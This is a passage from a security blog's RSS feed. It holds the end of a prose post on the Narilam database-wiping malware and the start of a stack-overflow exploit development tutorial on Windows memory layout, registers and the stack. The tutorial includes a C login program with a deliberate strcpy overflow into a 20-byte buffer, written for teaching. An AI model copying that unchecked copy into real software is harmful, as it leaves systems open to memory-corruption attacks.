&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgRQK9UrhtfDA6QSQjK8q6tySql0vbGsMSw7e2qOTzZ00QBCVUrtuAQ2prpNHRAL3z6rX-tChtLobCnZBv3jBb81b19fyP9qzzE4nsSQU_ELj9K_YNDDqxpbK9Lnaup2DwZ0yYWzJFBeE/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgRQK9UrhtfDA6QSQjK8q6tySql0vbGsMSw7e2qOTzZ00QBCVUrtuAQ2prpNHRAL3z6rX-tChtLobCnZBv3jBb81b19fyP9qzzE4nsSQU_ELj9K_YNDDqxpbK9Lnaup2DwZ0yYWzJFBeE/s400/5.png&quot; height=&quot;167&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;All the financial and banking software targeted by this malware are products of the Iranian company Tarrah Systems, which issued a warning on its website about W32.Narilam a couple of days ago. The company asked its customers to backups their databases if they are using the targeted products.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVAJBjc2Kavro9w5RzQajAhuWBtEMXJbwj_zZxw5_tPjKU_f30Eb1HDc0MiHztGhVZJWRXQAVoaKV-GoXyx0sH5OmAgbWhJHAcf-RmkGQUMRMupg5g4oljqP8yOdpbaqz4nPvID5YR-VU/s1600/4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVAJBjc2Kavro9w5RzQajAhuWBtEMXJbwj_zZxw5_tPjKU_f30Eb1HDc0MiHztGhVZJWRXQAVoaKV-GoXyx0sH5OmAgbWhJHAcf-RmkGQUMRMupg5g4oljqP8yOdpbaqz4nPvID5YR-VU/s400/4.png&quot; height=&quot;98&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif; font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;line-height: 19px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;While analyzing multiple samples of this malware, it seems this code was written to corrupt and delete databases accessed by these software, thereby causing potential financial losses to users. Possible targets of Narilam are corporates and banks that are likely to have these applications installed.It is recommended that users of these applications regularly backup their databases in order to avoid any kind of havoc.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2012/11/narilam-malware-attacks-iranian.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbwGp9QAfq3SuIeFu7_KPoP0_isMH7nvEo5LoyaCCkXrz5srECEowEI4ZJAUcc2Nk6twvEbSZH_87PIAxRxR50OtihJt3YPYpmaG2pGBsDPqkwAUxdxDXEnFmQmT9qYjhkhn81ES9lc7o/s72-c/%60timestamp1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-2555391252323569437</guid><pubDate>Wed, 28 Nov 2012 05:24:00 +0000</pubDate><atom:updated>2013-11-20T10:11:12.156+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Development Tutorial Series</category><title>Stack Overflows - Part 1 :  The Basics</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
I wanted to start the Exploit development learning series since quite some time ..Eventually , I&#39;ve managed to get some time out of the work to start with the tutorial series ..With this , I plan to go through the series of excercise and concepts and help the beginners learn the basics of Exploit development and advance concepts in exploitation ..&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: yellow;&quot;&gt;Disclaimer&lt;/span&gt; : I would want to mention here that these tutorials are only for the educational purpose . Knowledge acquired through this series should never be used for hacking into the networks / computers or performing similar illegal activities . You should continue to read only if you agree with this disclaimer.&lt;br /&gt;
&lt;br /&gt;
Historically , Stack based buffer overflows have been the most prevalent class of security bugs in the software and have been around for as long as C Language ..Numerous methods and techniques have been published to exploit Stack based buffer overflows .. for instance , Phrack papers etc ..Even today , this is one of the category of bugs which has remained to be widely exploited ..I am starting with some of the theoritical concepts and then we&#39;ll move on to the more advance stuff as we go ..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Windows Memory Layout&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;A developer basically visualizes the Windows memory layout as the flat memory model where , in a 32 bit system , processor can generate and access any memory address within the range from 0 to 2^32 . i.e from 0x00000000 to 0xFFFFFFFF. Internally , Windows uses techniques known as Memory Segmentation and Paging in order to divide the memory into protected segments called : Code segment , Data segment and Stack segment. While each process resides in the virtual address space of its own , it is not allowed to access the address space of another process and same for all other processes residing in the memory so that &amp;nbsp;they do not end up corrupting the data structures of other process. The access control to the memory segments was primarily controlled by Segmentation ( In systems based on older processors ) &amp;nbsp;but now everything lies in the Paging. If we visualize the flat memory layout of Windows , it looks like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ2ZROJeVqUWRiqjqG-tsznUn6P833QKhN2OcQIs0QqTCYZlHyaRW5z0y6Is3HTtwE3RNvnsL3c8Jb31sAY1T-ovGBivb3omY4uOqJ-6S61Unl_-zNvNtHqPSPAWjaeV_3RqcHAmBTirY/s1600/memory1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;296&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ2ZROJeVqUWRiqjqG-tsznUn6P833QKhN2OcQIs0QqTCYZlHyaRW5z0y6Is3HTtwE3RNvnsL3c8Jb31sAY1T-ovGBivb3omY4uOqJ-6S61Unl_-zNvNtHqPSPAWjaeV_3RqcHAmBTirY/s400/memory1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
However , in the flat memory model , Windows NT used to implement 32 bit of continuous and &amp;nbsp;linear addressible space and 286/386 class of Intel processors had a 32 bit address bus which could access any memory address in absence of Segmentation / Paging techniques. This is basically done through the processor segment registers which are loaded with the 2 byte segment selectors used as an index to segment descriptor tables , thereby translating 32 bit logical addresses into linear address . All of these were taken care of in the hardware which allows the programer to assume the address space as the flat memory model.&lt;br /&gt;
&lt;br /&gt;
As we can visualize from the above picture , 0x00000000 to 0x7FFFFFFF is called the User space memory which consist of process image , process stack / heap , per thread stack, DLL code, and user land process data structures while the address space above that is called Kernel space memory where the kernel code resides.&lt;br /&gt;
&lt;br /&gt;
As a side note , the saperation between user space memory and kernel space memory is implemented via Paging technique ..precisely a flag in the page directory entries ( PDEs ) marks this boundary ..Let&#39;s not worry about all that stuff now..&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Process Memory in Windows&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
In Windows environment , each process is loaded by OS in its own virtual address space. As I said above , this is the user space memory which means the process will be able to see the entire address space from 0x00000000 to 0x7FFFFFFF as the linear address space and the memory higher than that belongs to the kernel which user land process does not have an access to .&lt;br /&gt;
&lt;br /&gt;
When the process is created &amp;nbsp;, additional per process data structures like Process Environment block ( PEB ) and Thread Environment block is also created ..These data structures are of the prime interest to the exploit developers . The way they use the PEB is to access the PEB_LDR_DATA which contains all the information about the loaded DLL modules within the process and the shellcode accesses this data structure to retrieve the base address of any DLL ..Perhaps they could access the base address of kernel32.dll and then loadlibraryA to perform some interesting stuff !! :-)..&lt;br /&gt;
&lt;br /&gt;
This is how any Win32 process memory map will look like :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib5Z0UWly2n4Wgh7iKzy6X1Z-X4Gu3DCvbduP5xp6eg_pjdmzTBYbVg-hcWekMobMEcn2jVLYuvwMjcd6bvErALwQb4DLCc6SqTEcHvfTMW1m_GryByeQeFDikBHj5KrcJiHD4qFJiako/s1600/stack1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;298&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib5Z0UWly2n4Wgh7iKzy6X1Z-X4Gu3DCvbduP5xp6eg_pjdmzTBYbVg-hcWekMobMEcn2jVLYuvwMjcd6bvErALwQb4DLCc6SqTEcHvfTMW1m_GryByeQeFDikBHj5KrcJiHD4qFJiako/s400/stack1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Memory area marked as &quot;Program Image&quot; is where the program code and everything else that is immediately visible about the program resides .&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Data section&lt;/b&gt; : This is the writeable section of the load binary where all the initialized &amp;nbsp;/ static / global variables of the program are located. For instance , the C program statement : int a = 2 , char buff[]=&quot;Hello&quot; static int a = 1; etc &amp;nbsp;are stored in the data section .&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Code section&lt;/b&gt; : &amp;nbsp;This is segment of the program where all the compiled code is located.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;BSS section&lt;/b&gt; : This is the area where all the uninitialized variables of the program is stored. C program statement like : int a ; static int a ; etc ..are located in BSS section ..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;RSRC section &lt;/b&gt;: This is resource section of the PE file which contains the information related to UI of the program : icons , menus , dialog boxes , cursor, fonts and things like that .&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Heap section &lt;/b&gt;: This is the area in the memory where all the dynamically allocated data is stored..For eg the memory allocated by malloc() is in this space.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;The Stack&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Stack is the area in the process memory and per process data structure , which allows the process to access the data in the LIFO fashion . i.e Last In First Out : meaning , the most recent data stored on the stack is removed first from there ..There are two primary operations that are done on the Stack : PUSH and POP ..Both of these are CPU instructions which manipulates the stack .&lt;br /&gt;
&lt;br /&gt;
When a process is created , the stack size is comitted and memory is allocated for process to store the data on it . Intel processors has 32 bit register called ESP ( Extended Stack Pointer ) which points to the top of the stack memory. When PUSH operation is performed , data is stored on the stack and ESP is decremented , since the stack grows towards low memory address. When POP operation is performed , data is accessed from the stack and ESP is incremented . &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4QzlaGaCbgxwIvHXoniF2dRuCpE1kTBEckocpZ-pQPG0oiBocoZedLesb3uYZgjTA_dTd2EZYfLMZ0FHkI5lZnjLx-YGa87rmLe0irKYDF43vSQBy5epOO9sHIjDhPYOLYwS5WCFdKfk/s1600/stack2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;225&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4QzlaGaCbgxwIvHXoniF2dRuCpE1kTBEckocpZ-pQPG0oiBocoZedLesb3uYZgjTA_dTd2EZYfLMZ0FHkI5lZnjLx-YGa87rmLe0irKYDF43vSQBy5epOO9sHIjDhPYOLYwS5WCFdKfk/s400/stack2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
Following are the basic uses of the Stack memory :&lt;br /&gt;
&lt;br /&gt;
1 . When any subroutine is called using CALL instruction, the arguments passed to the subroutine are PUSHed on the stack.&lt;br /&gt;
2 . The next memory address to which the caller should return after executing the subroutine, is also stored on the stack before calling that subroutine.&lt;br /&gt;
3 . During the execution of the subroutine , the memory for storing the temporary local variables is allocated on the stack .&lt;br /&gt;
&lt;br /&gt;
Also, it is important to note that Stack is the temporary storage , and the memory is wiped off after returning from the subroutine. We will quickly walk through the Intel x86 registers and then with the example code , we will see how exactly the stack frame of the function is established.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Intel x86 architecture General purpose registers and Intruction pointer&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Processor registers are the memory storage areas used to store the data for several arithmatic &amp;amp; logical operations performed by processor. Since they are built into the processor itself , the access to this registers is very fast. Intel x86 architecture has 8 general purpose registers and an Intrustion pointer register which points to the next intruction to be executed .&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;EAX &lt;/b&gt;: known as Accumulator register . Usually used to store the value of the arithmatic and logical operations on the data as well as the return values from the functions.&lt;br /&gt;
&lt;b&gt;EBX &lt;/b&gt;: base pointer to the data section of the program. Normally used to store the data&lt;br /&gt;
&lt;b&gt;ECX &lt;/b&gt;: used as the counter to string and loop operations ..ECX stores the value which is decremented for loop operation.&lt;br /&gt;
&lt;b&gt;EDX &lt;/b&gt;: used as I/O pointer . Also used to perform little complex calculations ( multiply / divide etc..)&lt;br /&gt;
&lt;b&gt;EBP &lt;/b&gt;: Stack frame base pointer register.It points to the start of the function stack frame and also used to access the function arguments via offsets.&lt;br /&gt;
&lt;b&gt;ESP &lt;/b&gt;: Stack pointer. As discussed before , ESP always points to the top of the stack.&lt;br /&gt;
&lt;b&gt;ESI &lt;/b&gt;: Source pointer for string operations ( string copy , string comparison etc..)&lt;br /&gt;
&lt;b&gt;EDI&lt;/b&gt;: Destination pointer for string operations ( string copy , string comparison etc. )&lt;br /&gt;
&lt;b&gt;EIP &lt;/b&gt;: Instruction pointer register which points to the next instruction to execute.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Visualization of stack memory with example code&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Let&#39;s see the behaviour of the stack and operations performed on it with the example C code. I am using the following C code compiled with Microsoft Visual Studio 2010 Express edition.&lt;br /&gt;
&lt;br /&gt;
int main (int argc , char *argv[])&lt;br /&gt;
{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;char buffer[20];&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;strcpy(buffer , argv[1]);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if (!strcmp(buffer,&quot;password&quot;))&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;printf(&quot;Login Successful...\n&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return 1;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit(1);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;else&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;printf(&quot;Access denied..password incorrect..\n&quot;);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;return 0;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;exit(0);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
If we open the binary in the debugger and look at the code , we see that the pointers to argv[] and argc are pushed on the stack before calling main()..Since this binary accepts the command line arguments , I am passing it in the debugger as follows :&lt;br /&gt;
&lt;br /&gt;
we need to navigate the menu Debug --&amp;gt; Arguments, and we can pass the command line parameters to the binary:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijbES9KMwuFbeqPUo3J_EpsOxPY1-lJsBV83WU6K_hgCjH9G1cCYq8UE__0fZnYyOPTifJ6ANQX3J_anYVIeAbaYD07sN1EFw9SQXYVvaNRhatHdCeDclHqCtA8d0vSFVrcw5wFys_kQE/s1600/stack3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;108&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijbES9KMwuFbeqPUo3J_EpsOxPY1-lJsBV83WU6K_hgCjH9G1cCYq8UE__0fZnYyOPTifJ6ANQX3J_anYVIeAbaYD07sN1EFw9SQXYVvaNRhatHdCeDclHqCtA8d0vSFVrcw5wFys_kQE/s400/stack3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
Next the argc and argv are pushed on the stack :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8weW5ZQU3707QQZYMClIHG6J7B6jui3sxSy2qDh3EY-O9yd3ERXhTc-FFi1AcIiBWZLHrL2hREigqxumY7GaB-VGiOlJvCjLr7-RBolsJPHosDstafHBSRBvUTRVdntOZnOcty6H02oM/s1600/stack4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;75&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8weW5ZQU3707QQZYMClIHG6J7B6jui3sxSy2qDh3EY-O9yd3ERXhTc-FFi1AcIiBWZLHrL2hREigqxumY7GaB-VGiOlJvCjLr7-RBolsJPHosDstafHBSRBvUTRVdntOZnOcty6H02oM/s400/stack4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you cannot read the code , here is how it looks like :&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;PUSH EAX&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;MOV ECX, DWORD PTR DS:[argv] --- &amp;gt; argv moved to ECX register&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;PUSH ECX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;------&amp;gt; &amp;nbsp;ECX pushed on the stack&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;MOV EDX, DWORD PTR DS:[argc] ----&amp;gt; argc moved to EDX register&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;PUSH EDX &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ------&amp;gt; &amp;nbsp;argc pushed on the stack&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;CALL Buffer_O.main &amp;nbsp;------ &amp;gt; Call main ()&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit; font-size: x-small;&quot;&gt;ADD ESP, 0C&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Our stack at this point of time will look like this :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
